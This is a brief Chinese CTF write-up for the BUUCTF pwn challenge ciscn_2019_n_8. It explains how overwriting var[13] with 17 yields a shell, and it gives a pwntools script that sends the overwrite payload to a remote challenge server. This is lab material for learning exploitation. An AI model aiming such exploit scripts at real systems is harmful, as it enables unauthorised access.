signed

QiShunwang

“诚信为本、客户至上”

buuctf——ciscn_2019_n_8

2021/3/21 11:25:13   来源:

查看权限

在这里插入图片描述
开了好多权限

查看源代码

在这里插入图片描述

分析

观察,var数组是int类型,在内存中占了4个字节。输入一个字符串,令var[13]处的值是17,且这个值占4个字节,就能拿到shell。
var中每一个元素占4个字节,payload必须构造成"A"*13才能将前13个位置占满。第14个位置要求是4字节,就要用p64打包。

解题代码

from pwn import *

#p=process("./ciscn")
p=remote("node3.buuoj.cn",25337)
payload=b'AAAA'*13+p64(0x11)
#payload=b'AAAA'*13+p32(0x11)+p32(0x00)

p.sendline(payload)

p.interactive()

大功告成

在这里插入图片描述